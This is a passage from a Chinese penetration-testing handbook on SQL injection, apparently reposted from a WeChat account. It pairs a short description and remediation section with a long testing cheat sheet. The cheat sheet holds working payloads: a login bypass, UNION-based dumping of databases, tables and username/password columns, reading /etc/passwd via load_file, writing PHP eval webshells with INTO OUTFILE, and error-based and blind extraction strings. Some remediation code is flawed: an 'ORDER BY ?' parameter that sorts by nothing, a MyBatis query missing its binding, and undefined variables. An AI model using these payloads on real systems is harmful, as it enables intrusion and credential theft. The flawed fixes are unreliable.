【渗透测试实用手册】SQL注入漏洞
漏洞名称 |
SQL注入漏洞 |
漏洞地址 |
|
漏洞等级 |
高危 |
漏洞描述 |
SQL 注入漏洞是指攻击者通过把恶意的 SQL 语句插入到网站的输入参数中,来绕过网站的安全措施,获取敏感信息或控制网站的行为。 SQL 注入漏洞常见于网站和应用程序中,当用户在网站的表单中输入信息时,攻击者可以通过在输入中插入恶意的 SQL 语句来控制网站的行为。例如,攻击者可以通过注入恶意的 SQL 语句来登录网站的后台管理系统,或者获取数据库中的敏感信息。 为了防止 SQL 注入漏洞,网站和应用程序应该使用参数化查询来防止恶意的 SQL 语句的注入。此外,网站应该对用户的输入进行过滤和验证,并且定期检查代码以确保安全性。 SQL注入是开发者对用户输入的参数过滤不严格,通过把SQL命令插入到Web表单提交、输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令,导致用户输入的数据能够影响预设查询功能的一种技术。它是一种通过在用户可控参数中注入SQL语句,破坏原有的SQL结构,达到编写程序时意料之外结果的攻击行为。 按照构造和提交SQL语句的方式进行划分,SQL注入又分为GET型注入、POST型注入和Cookies型注入。 GET 型 SQL 注入提交数据的方式为 GET , 注入点的位置在 GET 参数部分,通常发生在网页的 URL。 POST 型 SQL 注入使用 POST 方式提交数据,注入点位置在 POST 数据部分,通常发生在表单输入框中。 Cookie 型 SQL 注入HTTP 请求时通常有客户端的 Cookie, 注入点存在 Cookie 的某个字段中。 |
漏洞成因 |
Web应用程序对用户输入的数据校验处理不严或者根本没有校验,使用字符串拼接的方式构造SQL语句,同时未对用户可控参数进行足够过滤,致使用户可以拼接执行SQL命令造成SQL注入漏洞。 |
漏洞危害 |
SQL 注入通常是通过构造恶意的 SQL 语句来实现的,因此具体的代码取决于攻击者的目标和所使用的技术。一般来说,SQL 注入攻击可能包括以下几种常见方法: 登录绕过:通过在用户名和密码中插入恶意代码,绕过登录验证。例如,如果登录表单中的 SQL 语句为 SELECT * FROM users WHERE username='$username' AND password='$password',攻击者可以尝试输入 ' OR '1'='1 作为用户名,密码为空,以此绕过登录验证。 数据获取:通过构造恶意的 SQL 语句,从数据库中获取敏感信息。例如,攻击者可以尝试输入 ' UNION SELECT password FROM users WHERE username='admin 来获取数据库中管理员的密码。 数据操纵:通过插入恶意的 SQL 语句,在数据库中进行操作,从而造成损害。例如,攻击者可以尝试输入 '; UPDATE users SET password='$new_password' WHERE username='$username 来修改指定用户的密码。 其余危害:
|
修复方案 |
参考资料: https://github.com/Tencent/secguide/blob/main/Java%E5%AE%89%E5%85%A8%E6%8C%87%E5%8D%97.md
如使用Mybatis作为持久层框架,应通过#{}语法进行参数绑定,MyBatis 会创建 PreparedStatement 参数占位符,并通过占位符安全地设置参数。 示例:JDBC String username = request.getParameter("username"); String password = request.getParameter("password"); String sql = "SELECT * FROM users WHERE username = ? AND password = ?"; PreparedStatement statement = connection.prepareStatement(sql); statement.setString(1, username); statement.setString(2, password); ResultSet results = statement.executeQuery(); 示例:Mybatis <select id="queryRuleIdByApplicationId" parameterType="java.lang.String" resultType="java.lang.String"> SELECT rule_id FROM scan_rule_sqlmap_tab WHERE application_id = #{applicationId} </select>
参考示例: public String someMethod(boolean sortOrder){ String SQLquery = "some SQL ...order by Salary " + (sortOrder ? "ASC" : "DESC");` ...
【特别注意】: Order By 注入修复方案 开发者在编写系统框架时无法使用预编译的办法处理这类参数,只要对输入的值进行白名单比对,基本上就能防御这种注入。
编程代码参考: 设置一个枚举或者MAP变量,然后拿用户输入passwd进行比对返回序号,然后拿序号预编译。 int index = map.get("password"); String sql = "SELECT * FROM users WHERE password = ? ORDER BY ?"; PreparedStatement stmt = conn.prepareStatement(sql); stmt.setString(1, password); stmt.setInt(2, index); ResultSet rs = stmt.executeQuery(); 代码实现参考: import java.sql.Connection; import java.sql.PreparedStatement; import java.util.regex.Pattern; public class SqlInjectionFixer { // 定义一个正则表达式,用于过滤特殊字符 private static final Pattern specialCharPattern = Pattern.compile("[^a-zA-Z0-9]"); // 使用预编译的 PreparedStatement 执行 SQL 查询 public void query(Connection connection, String userInput) throws Exception { // 对用户输入的字符串进行过滤,去除特殊字符 String filteredInput = specialCharPattern.matcher(userInput).replaceAll(""); // 使用预编译的 PreparedStatement 执行查询,并将用户输入的字符串作为参数 PreparedStatement statement = connection.prepareStatement("SELECT * FROM table WHERE column = ?"); statement.setString(1, filteredInput); statement.executeQuery(); } } 这段代码使用了正则表达式来过滤用户输入的字符串中的特殊字符。然后使用预编译的 PreparedStatement 执行 SQL 查询,并将用户输入的字符串作为参数。这样,即使用户输入的字符串中包含特殊字符,也不会导致 SQL 注入漏洞的产生。 |
测试过程 |
01 联合查询 0001 利用前提 页面上有显示位 0002 优点 方便 快捷 易于利用 0003 缺点 需要显示位 0x001 判断是否存在SQL注入,同时判断注入类型 整型注入还是字符串型注入 判断注入 and 1=1 / and 1=2 回显页面不同(整型判断) 单引号'判断显示数据库错误信息或者页面回显不同(整型,字符串类型判断) 转义符 -1 / +1 回显下一个或者上一个页面(整型判断) and sleep(5) 判断页面返回时间 0x002 判断显示位长度,判断列数(二分法) order by 10 order by 20 order by 15 ... 0x003 判断显示位,UNION联合查询 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15 0x004 查询获取当前所用的数据库用户名 数据库名 数据库路径 操作系统版本 MySQL数据库版本 user()---数据库用户名 database()---数据库名 @@basedir---数据库路径 @@datadir---数据库里面data路径 @@version_compile_os---操作系统版本 version()---MySQL数据库版本 @@version---MySQL数据库版本 0x005 查找列出所有的数据库名称 limit一个一个打印出来数据库名字 select concat(schema_name) from information_schema.schemata limit 0,1 group_concat一次性全部显示数据库名字 select group_concat(schema_name) from information_schema.schemata 0x006 查找列出所有的表名 limit一个一个打印出来表名 select concat(table_name) from information_schema.tables where table_schema=0x(数据库名称转换十六进制) limit 0,1 group_concat一次性全部显示表名 select group_concat(table_name) from information_schema.tables where table_schema=0x(数据库名称转换十六进制) 0x007 查找列出所有的字段名称 limit一个一个打印出来字段名称 select concat(column_name) from information_schema.columns where table_schema=0x(数据库名称转换十六进制) and table_name=0x(表名转换十六进制) limit 0,1 group_concat一次性显示全部字段名称 select group_concat(column_name) from information_schema.columns where table_schema=0x(数据库名称转换十六进制) and table_name=0x(表名转换十六进制) 0x008 查找列出所有需要的字段数据 limit一个一个打印出来字段数据 select concat(0x7e,username,0x7e,password) from 数据库名字.表名 limit 0,1 group_concat一次性全部显示字段数据 select group_concat(0x7e,username,0x7e,password) from 数据库名字.表名 0x009 load_file()读取文件操作 0001 前提 知道文件的绝对路径 0002 能够使用union查询 对web目录有写的权限 union select 1,load_file('/etc/passwd'),3,4,5# 0x2f6574632f706173737764 union select 1,load_file(0x2f6574632f706173737764),3,4,5# 路径没有加单引号的话必须转换十六进制 要是想省略单引号的话必须转换十六进制 0x010 into outfile写入文件操作 0001 前提 文件名必须是全路径(绝对路径) 002 用户必须有写文件的权限 没有对单引号'过滤 select '<?php phpinfo(); ?>' into outfile 'C:\Windows\tmp\8.php' select '<?php @eval($_POST["admin"]); ?>' into outfile 'C:\Windows\tmp\8.php' 路径里面两个反斜杠\可以换成一个正斜杠/ PHP语句没有单引号的话,必须转换成十六进制 要是想省略单引号'的话,必须转换成十六进制 <?php eval($_POST["admin"]); ?> 或者 <?php eval($_GET["admin"]); ?> <?php @eval($_POST["admin"]); ?> <?php phpinfo(); ?> <?php eval($_POST["admin"]); ?> 建议一句话PHP语句转换成十六进制 0x011 一句话木马 <?php eval($_POST["admin"]); ?> 或者 <?php eval($_GET["admin"]); ?> <?php @eval($_POST["admin"]); ?> <?php phpinfo(); ?> <?php eval($_POST["admin"]); ?> 建议一句话PHP语句转换成十六进制 02 Error-based SQL injection 0001 利用前提 页面上没有显示位,但是需要输出SQL语句执行错误信息.比如mysql_error() 0002 优点 不需要显示位 0003 缺点 需要输出mysql_error的报错信息 001 通过floor报错[没有任何字符长度限制] 0001 固定句式 and (select 1 from (select count(*),concat((select (select (payload)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) 0002 查询数据库的个数 select concat(0x7e,count(schema_name),0x7e) from information_schema.schemata 0003 payload组合语句 and (select 1 from (select count(*),concat((select (select (select concat(0x7e,count(schema_name),0x7e) from information_schema.schemata)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) 0004 获取数据库名字 select concat(0x7e,schema_name,0x7e) from information_schema.schemata limit 0,1 0005 payload组合语句 and (select 1 from (select count(*),concat((select (select (select concat(0x7e,schema_name,0x7e) from information_schema.schemata limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) 002 通过ExtractValue报错[最多32字符] 0001 固定句式 and extractvalue(1,(payload)) 或者记忆成 and extractvalue(1,(concat(0x7e,(payload),0x7e))) 0002 查询数据库版本号 and extractvalue(1,(concat(0x7e,(select @@version),0x7e))) 或者写成 and extractvalue(1,(concat(0x7e,(select version()),0x7e))) 003 通过UpdateXML报错[最多32字符] 0001 固定句式 +and updatexml(1,(payload),1) 或者记忆成 +and updatexml(1,(concat(0x7e,(payload),0x7e)),1) 0002 查询数据库版本号 +and updatexml(1,(concat(0x7e,(select @@version),0x7e)),1) 或者写成 +and updatexml(1,(concat(0x7e,(select version()),0x7e)),1) +加号可以换成空格 03 Boolean-based blind SQL injection 0001 利用前提 页面上没有显示位,也没有输出SQL语句执行报错信息 只能通过页面返回正常不正常 0002 优点 不需要显示位,不需要报错信息 0003 缺点 速度慢,耗费大量时间 001 exists() 用于检查子查询是否只要返回一行数据,返回True或者False and exists(select user()) ?id=1' and exists(select * from information_schema.tables) --+ 002 ascii() 返回字符串str的最左面字符的ASCII代码值.如果str是空字符串,返回0.如果str是NULL,返回NULL. and ascii('r')=114 and ascii(substr((select user()),1,1))=114 003 substr() substr(string,num start,num length) string 字符串 start 起始位置 length 长度 and substr((select user()),1,1)='r' and substr((select user()),2,1)='o' ?id=1' and exists(select * from information_schema.tables) --+ ?id=1' and (select length(version()))=6 --+ //判断version()返回字符串的长度 ?id=1' and (select count(distinct table_schema) from information_schema.tables)=11 --+ //判断有多少数据库,自动去除空数据库 ?id=1' and (select count(distinct table_schema) from information_schema.columns)=11 --+ //判断有多少数据库,自动去除空数据库 select count(schema_name) from information_schema.schemata ?id=1' and (select count(schema_name) from information_schema.schemata)=12 --+ //判断有多少数据库,自动去除空数据库 and ascii(substr((select concat(schema_name) from information_schema.schemata limit 0,1),1,1))=105 //判断第一个库的第一个字符 04 Time-based blind SQL injection 0001 利用前提 页面没有显示位,也没有输出SQL语句执行错误信息 正确的SQL语句和错误的SQL语句返回页面都一样,但是加入sleep(5)条件之后,页面的返回速度明显慢了5秒 0002 优点 不需要显示位,不需要出错信息 0003 缺点 速度慢,耗费大量时间 001 IF(Condition,A,B)函数 当Contion为TRUE时候,返回A;当Contion为FALSE时候,返回B. eg:if(ascii(substr('hello',1,1))=104,sleep(5),1) 可以换成双引号 if(ascii(substr("hello",1,1))=104,sleep(5),1) and if(ascii((select @@version,1,1))=53,sleep(5),1) if(ascii(substr((payload),1,1))=114,sleep(5),1) if((select count(distinct table_schema) from information_schema.tables)=17,sleep(5),1) //获取当前数据库个数 if(ascii(substr((select user(),1,1))=114,sleep(5),1) //获取当前连接数据库用户第一个字母 if(ascii(substr((select distinct table_schema from information_schema.tables limit 0,1),1,1))=105,sleep(5),1) //判断第一个数据库第一个字符 if(ascii(substr((select distinct table_schema from information_schema.tables limit 0,1),2,1))=110,sleep(5),1) //判断第一个数据库第一个字符 |
复测过程 |
|
复测结果 |
未修复 |
import java.sql.PreparedStatement;
import java.sql.ResultSet;
import java.sql.SQLException;
/**
* @author mannix
*/
public class Main {
public static void main(String[] args) throws SQLException {
String username = request.getParameter("username");
String password = request.getParameter("password");
String sql = "SELECT * FROM users WHERE username = ? AND password = ?";
PreparedStatement statement = connection.prepareStatement(sql);
statement.setString(1, username);
statement.setString(2, password);
ResultSet results = statement.executeQuery();
}
}
示例:Mybatis
<select id="queryRuleIdByApplicationId" parameterType="java.lang.String" resultType="java.lang.String">
SELECT rule_id FROM scan_rule_sqlmap_tab WHERE application_id =
</select>
import java.sql.PreparedStatement;
import java.sql.ResultSet;
import java.sql.SQLException;
/**
* @author mannix
*/
public class Main {
public static void main(String[] args) throws SQLException {
int index = map.get("password");
String sql = "SELECT * FROM users WHERE password = ? ORDER BY ?";
PreparedStatement stmt = conn.prepareStatement(sql);
stmt.setString(1, password);
stmt.setInt(2, index);
ResultSet rs = stmt.executeQuery();
}
}
// 设置数据库连接信息
$host = 'localhost';
$dbname = 'mydb';
$username = 'dbuser';
$password = 'dbpass';
// 创建 PDO 对象
$dbh = new PDO("mysql:host=$host;dbname=$dbname", $username, $password);
// 定义查询语句
$query = 'SELECT * FROM users WHERE username = :username AND passwd = :passwd';
// 创建预处理语句
$stmt = $dbh->prepare($query);
// 绑定参数
$stmt->bindParam(':username', $username);
$stmt->bindParam(':passwd', $passwd);
// 执行查询语句
$stmt->execute();
原文始发于微信公众号(利刃信安):【渗透测试实用手册】 SQL 注入漏洞
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论